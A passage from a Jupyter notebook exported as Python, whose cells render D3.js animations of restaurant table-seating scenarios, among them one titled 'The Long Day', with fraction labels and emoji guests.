'<input type=\"button\" onclick=\"gambler4()\" value=\"Run Animation\">\\n<div id=\"gambler4\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function gambler4() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#gambler4\").select(\"svg\").remove()\\n        var svg10 = d3.select(\"div#gambler4\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n        fractions = [\"1/4\",\"1/4\",\"1/4\",\"1/4\",\"0\"]\\n        svg10.selectAll(\"line\")\\n            .data(d3.range(4))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg10.selectAll(\"circle\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (+d!=0)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        \\n        svg10.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg10.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s,c) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed_\"+c)\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed_\"+c)\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,1,svg10,0)\\n        var cx = ((radius) * Math.cos(x(1))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(1))) + (height-margin)\\n        addPeople(cx,cy,1,svg10,1)\\n        var cx = ((radius) * Math.cos(x(2))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(2))) + (height-margin)\\n        addPeople(cx,cy,1,svg10,2)\\n    }\\n    gambler4()\\n</script>')\n\n\n# In[14]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"gambler5()\" value=\"Run Animation\">\\n<div id=\"gambler5\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function gambler5() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#gambler5\").select(\"svg\").remove()\\n        var svg11 = d3.select(\"div#gambler5\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n        fractions = [\"1/5\",\"1/5\",\"1/5\",\"1/5\",\"1/5\"]\\n        svg11.selectAll(\"line\")\\n            .data(d3.range(5))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg11.selectAll(\"circle\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (+d!=0)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        \\n        svg11.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg11.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s,c) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed_\"+c)\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed_\"+c)\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,1,svg11,0)\\n        var cx = ((radius) * Math.cos(x(1))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(1))) + (height-margin)\\n        addPeople(cx,cy,1,svg11,1)\\n        var cx = ((radius) * Math.cos(x(2))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(2))) + (height-margin)\\n        addPeople(cx,cy,1,svg11,2)\\n        var cx = ((radius) * Math.cos(x(3))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(3))) + (height-margin)\\n        addPeople(cx,cy,1,svg11,3)\\n    }\\n    gambler5()\\n</script>')\n\n\n# ### 3. The Long Day\n# \n# The Long Day scenerio describes a situation where customers (xx) coming into the restraunt had a reeeeeeeeeeeeeeeally long day. All they want is a table (xx) to themselves to eat their food, pay, and go home. This is the opposite of the Social Butterfly, where if there are people at a table (\ud83d\ude03 & xx). They will find an empty table (xxx).\n# \n\n# In[15]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"long1()\" value=\"Run Animation\">\\n<div id=\"long1\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function long1() {\\n        var width = 500\\n        var height = 270\\n        var margin = 35\\n        var radius = 200\\n        \\n        d3.select(\"div#long1\").select(\"svg\").remove()\\n        var svg12 = d3.select(\"div#long1\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg12.selectAll(\"line\")\\n            .data(d3.range(1))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg12.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=0)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"1/1\",\"0\",\"0\",\"0\",\"0\"]\\n        svg12.selectAll(\"text\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg12.append(\"text\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n    }\\n    long1()\\n</script>')\n\n\n# In[16]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"long2()\" value=\"Run Animation\">\\n<div id=\"long2\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function long2() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#long2\").select(\"svg\").remove()\\n        var svg13 = d3.select(\"div#long2\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg13.selectAll(\"line\")\\n            .data(d3.range(2))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg13.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=1)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"0\",\"1/1\",\"0\",\"0\",\"0\"]\\n        svg13.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg13.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s,c) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed_\"+c)\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed_\"+c)\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,1,svg13,0)\\n\\n    }\\n    long2()\\n</script>')\n\n\n# In[17]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"long3()\" value=\"Run Animation\">\\n<div id=\"long3\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function long3() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#long3\").select(\"svg\").remove()\\n        var svg14 = d3.select(\"div#long3\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg14.selectAll(\"line\")\\n            .data(d3.range(3))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg14.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=2)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"0\",\"0\",\"2/2\",\"0\",\"0\"]\\n        svg14.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg14.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s,c) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed_\"+c)\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed_\"+c)\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,1,svg14,0)\\n        var cx = ((radius) * Math.cos(x(1))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(1))) + (height-margin)\\n        addPeople(cx,cy,1,svg14,1)\\n\\n    }\\n    long3()\\n</script>')\n\n\n# In[18]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"long4()\" value=\"Run Animation\">\\n<div id=\"long4\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function long4() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#long4\").select(\"svg\").remove()\\n        var svg15 = d3.select(\"div#long4\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg15.selectAll(\"line\")\\n            .data(d3.range(4))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg15.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=3)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"0\",\"0\",\"0\",\"1\",\"0\"]\\n        svg15.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(d=>d)\\n            .transition(\"text\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n        \\n        \\n        \\n        svg15.append(\"text\")\\n            .attr(\"class\",\"hungry\")\\n            .attr(\"x\", width/2)\\n            .attr(\"y\", (height-margin))\\n            .style(\"font-size\",\"50px\")\\n            .style(\"text-anchor\", \"middle\")\\n            .style(\"alignment-baseline\",\"middle\")\\n            .text(\"\ud83e\udd14\")\\n        \\n        function addPeople(cx,cy,e,s,c) {\\n            var xc = d3.scaleLinear().domain([0,d3.range(e).length]).range([Math.PI, 3*Math.PI])\\n            s.selectAll(\"text.feed_\"+c)\\n                // Collect\\n                .data(d3.range(e))\\n                // Update\\n                .join(\"text\")\\n                .attr(\"class\",\"feed_\"+c)\\n                .attr(\"x\", cx)\\n                .attr(\"y\", cy)  \\n                .style(\"font-size\",\"30px\")\\n                .style(\"text-anchor\", \"middle\")\\n                .style(\"alignment-baseline\",\"middle\")\\n                .text(d=>\"\ud83d\ude03\")\\n                .transition(\"text2\")\\n                .duration(1000)\\n                .delay((d,i)=> i * 100)\\n                .attr(\"x\", (d,i)=> ((40) * Math.cos(xc(i))) + cx)\\n                .attr(\"y\", (d,i)=> ((40) * Math.sin(xc(i))) + cy)\\n        \\n            \\n        }\\n        var cx = ((radius) * Math.cos(x(0))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(0))) + (height-margin)\\n        addPeople(cx,cy,1,svg15,0)\\n        var cx = ((radius) * Math.cos(x(1))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(1))) + (height-margin)\\n        addPeople(cx,cy,1,svg15,1)\\n        var cx = ((radius) * Math.cos(x(2))) + (width/2)\\n        var cy = ((radius) * Math.sin(x(2))) + (height-margin)\\n        addPeople(cx,cy,1,svg15,2)\\n\\n    }\\n    long4()\\n</script>')\n\n\n# In[19]:\n\n\nget_ipython().run_cell_magic('html', '', '<input type=\"button\" onclick=\"long5()\" value=\"Run Animation\">\\n<div id=\"long5\"></div>\\n\\n<script type=\"text/javascript\">   \\n    function long5() {\\n        var width = 600\\n        var height = 300\\n        var margin = 55\\n        var radius = 200\\n        \\n        d3.select(\"div#long5\").select(\"svg\").remove()\\n        var svg16 = d3.select(\"div#long5\").append(\"svg\")\\n            .attr(\"width\", width)\\n            .attr(\"height\", height)\\n\\n        var x = d3.scaleLinear().domain([0,d3.range(5).length-1]).range([Math.PI, 2*Math.PI])\\n\\n        svg16.selectAll(\"line\")\\n            .data(d3.range(5))\\n            .join(\"line\")\\n            .attr(\"x1\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y1\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"x2\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin)) \\n            .style(\"stroke\",\"darkgrey\")\\n            .style(\"stroke-width\", \"10px\")\\n            .style(\"stroke-linecap\",\"round\")\\n            .transition(\"line\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"x2\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y2\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))    \\n\\n        svg16.selectAll(\"circle\")\\n            // Collect\\n            .data(d3.range(5))\\n            // Update\\n            .join(\"circle\")\\n            .attr(\"cx\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .attr(\"r\", (d,i)=> 30)\\n            .style(\"fill\", (d,i)=> (i<=4)?\"white\":\"black\")\\n            .style(\"stroke\", \"black\")\\n            .style(\"stroke-width\", \"1px\")\\n            .transition(\"circle\")\\n            .duration(1000)\\n            .delay((d,i)=> i * 100)\\n            .attr(\"cx\", (d,i)=> ((radius) * Math.cos(x(i))) + (width/2))\\n            .attr(\"cy\", (d,i)=> ((radius) * Math.sin(x(i))) + (height-margin))\\n\\n        fractions = [\"0\",\"0\",\"0\",\"0\",\"1\"]\\n        svg16.selectAll(\"text.perc\")\\n            // Collect\\n            .data(fractions)\\n            // Update\\n            .join(\"text\")\\n            .attr(\"class\",\"perc\")\\n            .attr(\"x\", (d,i)=> ((0) * Math.cos(x(i))) + (width/2))\\n            .attr(\"y\", (d,i)=> ((0) * Math.sin(x(i))) + (height-margin))  \\n            .style(\"font-size\",\"30px\")\\n            .style(\"text-anchor\", \"middle\")\\n            